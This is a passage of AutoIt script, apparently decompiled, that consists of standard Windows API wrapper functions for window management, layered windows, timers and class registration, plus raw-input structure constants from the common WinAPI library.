($ARESULT , + 4294967295 ) RETURN $ARESULT ENDFUNC FUNC _WINAPI_DRAGQUERYPOINT ($HDROP ) LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT ) LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "DragQueryPoint" , "handle" , $HDROP , "struct*" , $TPOINT ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TPOINT ENDFUNC FUNC _WINAPI_ENDDEFERWINDOWPOS ($HINFO ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EndDeferWindowPos" , "handle" , $HINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ENUMCHILDWINDOWS ($HWND , $BVISIBLE = TRUE ) IF NOT _WINAPI_GETWINDOW ($HWND , 5 ) THEN RETURN SETERROR (2 , 0 , 0 ) LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumWindowsProc" , "bool" , "hwnd;lparam" ) DIM $__G_VENUM [101 ] [2 ] = [[0 ] ] DLLCALL ("user32.dll" , "bool" , "EnumChildWindows" , "hwnd" , $HWND , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , $BVISIBLE ) IF @ERROR OR NOT $__G_VENUM [0 ] [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_FINDWINDOW ($SCLASSNAME , $SWINDOWNAME ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "FindWindowW" , "wstr" , $SCLASSNAME , "wstr" , $SWINDOWNAME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_FLASHWINDOW ($HWND , $BINVERT = TRUE ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "FlashWindow" , "hwnd" , $HWND , "bool" , $BINVERT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_FLASHWINDOWEX ($HWND , $IFLAGS = 3 , $ICOUNT = 3 , $ITIMEOUT = 0 ) LOCAL $TFLASH = DLLSTRUCTCREATE ($TAGFLASHWINFO ) LOCAL $IFLASH = DLLSTRUCTGETSIZE ($TFLASH ) LOCAL $IMODE = 0 IF BITAND ($IFLAGS , 1 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_CAPTION ) IF BITAND ($IFLAGS , 2 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_TRAY ) IF BITAND ($IFLAGS , 4 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_TIMER ) IF BITAND ($IFLAGS , 8 ) <> 0 THEN $IMODE = BITOR ($IMODE , $FLASHW_TIMERNOFG ) DLLSTRUCTSETDATA ($TFLASH , "Size" , $IFLASH ) DLLSTRUCTSETDATA ($TFLASH , "hWnd" , $HWND ) DLLSTRUCTSETDATA ($TFLASH , "Flags" , $IMODE ) DLLSTRUCTSETDATA ($TFLASH , "Count" , $ICOUNT ) DLLSTRUCTSETDATA ($TFLASH , "Timeout" , $ITIMEOUT ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "FlashWindowEx" , "struct*" , $TFLASH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETANCESTOR ($HWND , $IFLAGS = 1 ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetAncestor" , "hwnd" , $HWND , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETCLASSINFOEX ($SCLASS , $HINSTANCE = 0 ) LOCAL $STYPEOFCLASS = "ptr" IF ISSTRING ($SCLASS ) THEN $STYPEOFCLASS = "wstr" ENDIF LOCAL $TWNDCLASSEX = DLLSTRUCTCREATE ($TAGWNDCLASSEX ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetClassInfoExW" , "handle" , $HINSTANCE , $STYPEOFCLASS , $SCLASS , "struct*" , $TWNDCLASSEX ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TWNDCLASSEX ENDFUNC FUNC _WINAPI_GETCLASSLONGEX ($HWND , $IINDEX ) LOCAL $ARET IF @AUTOITX64 THEN $ARET = DLLCALL ("user32.dll" , "ulong_ptr" , "GetClassLongPtrW" , "hwnd" , $HWND , "int" , $IINDEX ) ELSE $ARET = DLLCALL ("user32.dll" , "dword" , "GetClassLongW" , "hwnd" , $HWND , "int" , $IINDEX ) ENDIF IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETCLIENTHEIGHT ($HWND ) LOCAL $TRECT = _WINAPI_GETCLIENTRECT ($HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TRECT , "Bottom" ) - DLLSTRUCTGETDATA ($TRECT , "Top" ) ENDFUNC FUNC _WINAPI_GETCLIENTWIDTH ($HWND ) LOCAL $TRECT = _WINAPI_GETCLIENTRECT ($HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TRECT , "Right" ) - DLLSTRUCTGETDATA ($TRECT , "Left" ) ENDFUNC FUNC _WINAPI_GETDLGITEM ($HWND , $IITEMID ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetDlgItem" , "hwnd" , $HWND , "int" , $IITEMID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETFOREGROUNDWINDOW () LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetForegroundWindow" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETGUITHREADINFO ($ITHREADID ) LOCAL CONST $TAGGUITHREADINFO = "dword Size;dword Flags;hwnd hWndActive;hwnd hWndFocus;hwnd hWndCapture;hwnd hWndMenuOwner;hwnd hWndMoveSize;hwnd hWndCaret;struct rcCaret;long left;long top;long right;long bottom;endstruct" LOCAL $TGTI = DLLSTRUCTCREATE ($TAGGUITHREADINFO ) DLLSTRUCTSETDATA ($TGTI , 1 , DLLSTRUCTGETSIZE ($TGTI ) ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetGUIThreadInfo" , "dword" , $ITHREADID , "struct*" , $TGTI ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [11 ] FOR $I = 0 TO 10 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TGTI , $I + 2 ) NEXT FOR $I = 9 TO 10 $ARESULT [$I ] -= $ARESULT [$I + 4294967294 ] NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_GETLASTACTIVEPOPUP ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetLastActivePopup" , "hwnd" , $HWND ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) IF $ARET [0 ] = $HWND THEN RETURN SETERROR (1 , 0 , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETLAYEREDWINDOWATTRIBUTES ($HWND , BYREF $ITRANSCOLOR , BYREF $ITRANSGUI , $BCOLORREF = FALSE ) $ITRANSCOLOR = + 4294967295 $ITRANSGUI = + 4294967295 LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "GetLayeredWindowAttributes" , "hwnd" , $HWND , "INT*" , $ITRANSCOLOR , "byte*" , $ITRANSGUI , "dword*" , 0 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF NOT $BCOLORREF THEN $ARESULT [2 ] = INT (BINARYMID ($ARESULT [2 ] , 3 , 1 ) & BINARYMID ($ARESULT [2 ] , 2 , 1 ) & BINARYMID ($ARESULT [2 ] , 1 , 1 ) ) ENDIF $ITRANSCOLOR = $ARESULT [2 ] $ITRANSGUI = $ARESULT [3 ] RETURN $ARESULT [4 ] ENDFUNC FUNC _WINAPI_GETMESSAGEEXTRAINFO () LOCAL $ARET = DLLCALL ("user32.dll" , "lparam" , "GetMessageExtraInfo" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETSHELLWINDOW () LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetShellWindow" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETTOPWINDOW ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetTopWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETWINDOWDISPLAYAFFINITY ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowDisplayAffinity" , "hwnd" , $HWND , "dword*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_GETWINDOWINFO ($HWND ) LOCAL $TWINDOWINFO = DLLSTRUCTCREATE ($TAGWINDOWINFO ) DLLSTRUCTSETDATA ($TWINDOWINFO , "Size" , DLLSTRUCTGETSIZE ($TWINDOWINFO ) ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowInfo" , "hwnd" , $HWND , "struct*" , $TWINDOWINFO ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TWINDOWINFO ENDFUNC FUNC _WINAPI_GETWINDOWPLACEMENT ($HWND ) LOCAL $TWINDOWPLACEMENT = DLLSTRUCTCREATE ($TAGWINDOWPLACEMENT ) DLLSTRUCTSETDATA ($TWINDOWPLACEMENT , "length" , DLLSTRUCTGETSIZE ($TWINDOWPLACEMENT ) ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowPlacement" , "hwnd" , $HWND , "struct*" , $TWINDOWPLACEMENT ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TWINDOWPLACEMENT ENDFUNC FUNC _WINAPI_ISCHILD ($HWND , $HWNDPARENT ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsChild" , "hwnd" , $HWNDPARENT , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISHUNGAPPWINDOW ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsHungAppWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISICONIC ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsIconic" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISWINDOWUNICODE ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsWindowUnicode" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISZOOMED ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsZoomed" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_KILLTIMER ($HWND , $ITIMERID ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "KillTimer" , "hwnd" , $HWND , "uint_ptr" , $ITIMERID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_OPENICON ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "OpenIcon" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_POSTMESSAGE ($HWND , $IMSG , $WPARAM , $LPARAM ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "PostMessage" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_REGISTERCLASS ($TWNDCLASS ) LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "RegisterClassW" , "struct*" , $TWNDCLASS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_REGISTERCLASSEX ($TWNDCLASSEX ) LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "RegisterClassExW" , "struct*" , $TWNDCLASSEX ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_REGISTERSHELLHOOKWINDOW ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RegisterShellHookWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_REGISTERWINDOWMESSAGE ($SMESSAGE ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "uint" , "RegisterWindowMessageW" , "wstr" , $SMESSAGE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SENDMESSAGETIMEOUT ($HWND , $IMSG , $WPARAM = 0 , $LPARAM = 0 , $ITIMEOUT = 1000 , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "SendMessageTimeoutW" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM , "uint" , $IFLAGS , "uint" , $ITIMEOUT , "dword_ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_GETLASTERROR () , + 4294967295 ) RETURN $ARET [7 ] ENDFUNC FUNC _WINAPI_SETCLASSLONGEX ($HWND , $IINDEX , $INEWLONG ) LOCAL $ARET IF @AUTOITX64 THEN $ARET = DLLCALL ("user32.dll" , "ulong_ptr" , "SetClassLongPtrW" , "hwnd" , $HWND , "int" , $IINDEX , "long_ptr" , $INEWLONG ) ELSE $ARET = DLLCALL ("user32.dll" , "dword" , "SetClassLongW" , "hwnd" , $HWND , "int" , $IINDEX , "long" , $INEWLONG ) ENDIF IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETFOREGROUNDWINDOW ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetForegroundWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETLAYEREDWINDOWATTRIBUTES ($HWND , $ITRANSCOLOR , $ITRANSGUI = 255 , $IFLAGS = 3 , $BCOLORREF = FALSE ) IF $IFLAGS = DEFAULT OR $IFLAGS = "" OR $IFLAGS < 0 THEN $IFLAGS = 3 IF NOT $BCOLORREF THEN $ITRANSCOLOR = INT (BINARYMID ($ITRANSCOLOR , 3 , 1 ) & BINARYMID ($ITRANSCOLOR , 2 , 1 ) & BINARYMID ($ITRANSCOLOR , 1 , 1 ) ) ENDIF LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetLayeredWindowAttributes" , "hwnd" , $HWND , "INT" , $ITRANSCOLOR , "byte" , $ITRANSGUI , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETMESSAGEEXTRAINFO ($LPARAM ) LOCAL $ARET = DLLCALL ("user32.dll" , "lparam" , "SetMessageExtraInfo" , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETSYSCOLORS ($VELEMENTS , $VCOLORS ) LOCAL $BISEARRAY = ISARRAY ($VELEMENTS ) , $BISCARRAY = ISARRAY ($VCOLORS ) LOCAL $IELEMENTNUM IF NOT $BISCARRAY AND NOT $BISEARRAY THEN $IELEMENTNUM = 1 ELSEIF $BISCARRAY OR $BISEARRAY THEN IF NOT $BISCARRAY OR NOT $BISEARRAY THEN RETURN SETERROR (+ 4294967295 , + 4294967295 , FALSE ) IF UBOUND ($VELEMENTS ) <> UBOUND ($VCOLORS ) THEN RETURN SETERROR (+ 4294967295 , + 4294967295 , FALSE ) $IELEMENTNUM = UBOUND ($VELEMENTS ) ENDIF LOCAL $TELEMENTS = DLLSTRUCTCREATE ("int Element[" & $IELEMENTNUM & "]" ) LOCAL $TCOLORS = DLLSTRUCTCREATE ("INT NewColor[" & $IELEMENTNUM & "]" ) IF NOT $BISEARRAY THEN DLLSTRUCTSETDATA ($TELEMENTS , "Element" , $VELEMENTS , 1 ) ELSE FOR $X = 0 TO $IELEMENTNUM + 4294967295 DLLSTRUCTSETDATA ($TELEMENTS , "Element" , $VELEMENTS [$X ] , $X + 1 ) NEXT ENDIF IF NOT $BISCARRAY THEN DLLSTRUCTSETDATA ($TCOLORS , "NewColor" , $VCOLORS , 1 ) ELSE FOR $X = 0 TO $IELEMENTNUM + 4294967295 DLLSTRUCTSETDATA ($TCOLORS , "NewColor" , $VCOLORS [$X ] , $X + 1 ) NEXT ENDIF LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetSysColors" , "int" , $IELEMENTNUM , "struct*" , $TELEMENTS , "struct*" , $TCOLORS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETTIMER ($HWND , $ITIMERID , $IELAPSE , $PTIMERFUNC ) LOCAL $ARET = DLLCALL ("user32.dll" , "uint_ptr" , "SetTimer" , "hwnd" , $HWND , "uint_ptr" , $ITIMERID , "uint" , $IELAPSE , "ptr" , $PTIMERFUNC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETWINDOWDISPLAYAFFINITY ($HWND , $IAFFINITY ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetWindowDisplayAffinity" , "hwnd" , $HWND , "dword" , $IAFFINITY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETWINDOWLONG ($HWND , $IINDEX , $IVALUE ) _WINAPI_SETLASTERROR (0 ) LOCAL $SFUNCNAME = "SetWindowLongW" IF @AUTOITX64 THEN $SFUNCNAME = "SetWindowLongPtrW" LOCAL $ARESULT = DLLCALL ("user32.dll" , "long_ptr" , $SFUNCNAME , "hwnd" , $HWND , "int" , $IINDEX , "long_ptr" , $IVALUE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETWINDOWPLACEMENT ($HWND , $TWINDOWPLACEMENT ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetWindowPlacement" , "hwnd" , $HWND , "struct*" , $TWINDOWPLACEMENT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SHOWOWNEDPOPUPS ($HWND , $BSHOW ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShowOwnedPopups" , "hwnd" , $HWND , "bool" , $BSHOW ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SWITCHTOTHISWINDOW ($HWND , $BALTTAB = FALSE ) DLLCALL ("user32.dll" , "none" , "SwitchToThisWindow" , "hwnd" , $HWND , "bool" , $BALTTAB ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_TILEWINDOWS ($AWNDS , $TRECT = 0 , $HPARENT = 0 , $IFLAGS = 0 , $ISTART = 0 , $IEND = + 4294967295 ) IF __CHECKERRORARRAYBOUNDS ($AWNDS , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ICOUNT = $IEND - $ISTART + 1 LOCAL $TWNDS = DLLSTRUCTCREATE ("hwnd[" & $ICOUNT & "]" ) $ICOUNT = 1 FOR $I = $ISTART TO $IEND DLLSTRUCTSETDATA ($TWNDS , 1 , $AWNDS [$I ] , $ICOUNT ) $ICOUNT += 1 NEXT LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "TileWindows" , "hwnd" , $HPARENT , "uint" , $IFLAGS , "struct*" , $TRECT , "uint" , $ICOUNT + 4294967295 , "struct*" , $TWNDS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_UNREGISTERCLASS ($SCLASS , $HINSTANCE = 0 ) LOCAL $STYPEOFCLASS = "ptr" IF ISSTRING ($SCLASS ) THEN $STYPEOFCLASS = "wstr" ENDIF LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnregisterClassW" , $STYPEOFCLASS , $SCLASS , "handle" , $HINSTANCE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_UPDATELAYEREDWINDOW ($HWND , $HDESTDC , $TPTDEST , $TSIZE , $HSRCDC , $TPTSRCE , $IRGB , $TBLEND , $IFLAGS ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "UpdateLayeredWindow" , "hwnd" , $HWND , "handle" , $HDESTDC , "struct*" , $TPTDEST , "struct*" , $TSIZE , "handle" , $HSRCDC , "struct*" , $TPTSRCE , "dword" , $IRGB , "struct*" , $TBLEND , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_UPDATELAYEREDWINDOWEX ($HWND , $IX , $IY , $HBITMAP , $IOPACITY = 255 , $BDELETE = FALSE ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetDC" , "hwnd" , $HWND ) LOCAL $HDC = $ARET [0 ] $ARET = DLLCALL ("gdi32.dll" , "handle" , "CreateCompatibleDC" , "handle" , $HDC ) LOCAL $HDESTDC = $ARET [0 ] $ARET = DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDESTDC , "handle" , $HBITMAP ) LOCAL $HDESTSV = $ARET [0 ] LOCAL $TPOINT IF ($IX = + 4294967295 ) AND ($IY = + 4294967295 ) THEN $TPOINT = DLLSTRUCTCREATE ("int;int" ) ELSE $TPOINT = DLLSTRUCTCREATE ("int;int;int;int" ) DLLSTRUCTSETDATA ($TPOINT , 3 , $IX ) DLLSTRUCTSETDATA ($TPOINT , 4 , $IY ) ENDIF DLLSTRUCTSETDATA ($TPOINT , 1 , 0 ) DLLSTRUCTSETDATA ($TPOINT , 2 , 0 ) LOCAL $TBLENDFUNCTION = DLLSTRUCTCREATE ($TAGBLENDFUNCTION ) DLLSTRUCTSETDATA ($TBLENDFUNCTION , 1 , 0 ) DLLSTRUCTSETDATA ($TBLENDFUNCTION , 2 , 0 ) DLLSTRUCTSETDATA ($TBLENDFUNCTION , 3 , $IOPACITY ) DLLSTRUCTSETDATA ($TBLENDFUNCTION , 4 , 1 ) LOCAL CONST $TAGBITMAP = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct" LOCAL $TOBJ = DLLSTRUCTCREATE ($TAGBITMAP ) DLLCALL ("gdi32.dll" , "int" , "GetObject" , "handle" , $HBITMAP , "int" , DLLSTRUCTGETSIZE ($TOBJ ) , "struct*" , $TOBJ ) LOCAL $TSIZE = DLLSTRUCTCREATE ($TAGSIZE , DLLSTRUCTGETPTR ($TOBJ , "bmWidth" ) ) $ARET = DLLCALL ("user32.dll" , "bool" , "UpdateLayeredWindow" , "hwnd" , $HWND , "handle" , $HDC , "ptr" , DLLSTRUCTGETPTR ($TPOINT , 3 ) , "struct*" , $TSIZE , "handle" , $HDESTDC , "struct*" , $TPOINT , "dword" , 0 , "struct*" , $TBLENDFUNCTION , "dword" , 2 ) LOCAL $IERROR = @ERROR DLLCALL ("user32.dll" , "bool" , "ReleaseDC" , "hwnd" , $HWND , "handle" , $HDC ) DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDESTDC , "handle" , $HDESTSV ) DLLCALL ("gdi32.dll" , "bool" , "DeleteDC" , "handle" , $HDESTDC ) IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , FALSE ) IF $BDELETE THEN DLLCALL ("gdi32.dll" , "bool" , "DeleteObject" , "handle" , $HBITMAP ) ENDIF RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_UPDATELAYEREDWINDOWINDIRECT ($HWND , $TULWINFO ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UpdateLayeredWindowIndirect" , "hwnd" , $HWND , "struct*" , $TULWINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_WINDOWFROMPOINT (BYREF $TPOINT ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "WindowFromPoint" , "struct" , $TPOINT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC #EndRegion Public Functions #Region Internal Functions FUNC __ENUMDEFAULTPROC ($PDATA , $LPARAM ) #forceref $lParam LOCAL $ILENGTH = _WINAPI_STRLEN ($PDATA ) __INC ($__G_VENUM ) IF $ILENGTH THEN $__G_VENUM [$__G_VENUM [0 ] ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & ($ILENGTH + 1 ) & "]" , $PDATA ) , 1 ) ELSE $__G_VENUM [$__G_VENUM [0 ] ] = "" ENDIF RETURN 1 ENDFUNC #EndRegion Internal Functions #Region Global Variables and Constants GLOBAL CONST $TAGOSVERSIONINFOEX = $TAGOSVERSIONINFO & ";ushort ServicePackMajor;ushort ServicePackMinor;ushort SuiteMask;byte ProductType;byte Reserved" GLOBAL CONST $TAGRAWINPUTDEVICE = "struct;ushort UsagePage;ushort Usage;dword Flags;hwnd hTarget;endstruct" GLOBAL CONST $TAGRAWINPUTHEADER = "struct;dword Type;dword Size;handle hDevice;wparam wParam;endstruct" GLOBAL CONST $TAGRAWMOUSE = "ushort Flags;ushort Alignment;ushort ButtonFlags;ushort ButtonData;ulong RawButtons;long LastX;long LastY;ulong ExtraInformation;" GLOBAL CONST $TAGRAWKEYBOARD = "ushort MakeCode;ushort Flags;ushort Reserved;ushort VKey;uint Message;ulong ExtraInformation;" GLOBAL CONST $TAGRAWHID = "dword SizeHid;dword Count;" GLOBAL CONST $TAGRAWINPUTMOUSE = $TAGRAWINPUTHEADER & ";" & $TAGRAWMOUSE GLOBAL CONST $TAGRAWINPUTKEYBOARD = $TAGRAWINPUTHEADER & ";" & $TAGRAWKEYBOARD GLOBAL CONST $TAGRAWINPUTHID = $TAGRAWINPUTHEADER & ";" & $TAGRAWHID GLOBAL CONST $TAGRID_DEVICE_INFO_MOUSE = "struct;dword Id;dword NumberOfButtons;dword SampleRate;int HasHorizontalWheel;endstruc" GLOBAL CONST $TAGRID_DEVICE_INFO_KEYBOARD = "struct;dword KbType;dword KbSubType;dword KeyboardMode;dword NumberOfFunctionKeys;dword NumberOfIndicators;dword NumberOfKeysTotal;endstruc" GLOBAL CONST $TAGRID_DEVICE_INFO_HID = "struct;dword VendorId;dword ProductId;dword VersionNumber;ushort UsagePage;ushort Usage;endstruc" GLOBAL CONST $TAGRID_INFO_MOUSE = "dword Size;dword Type;" & $TAGRID_DEVICE_INFO_MOUSE & ";dword 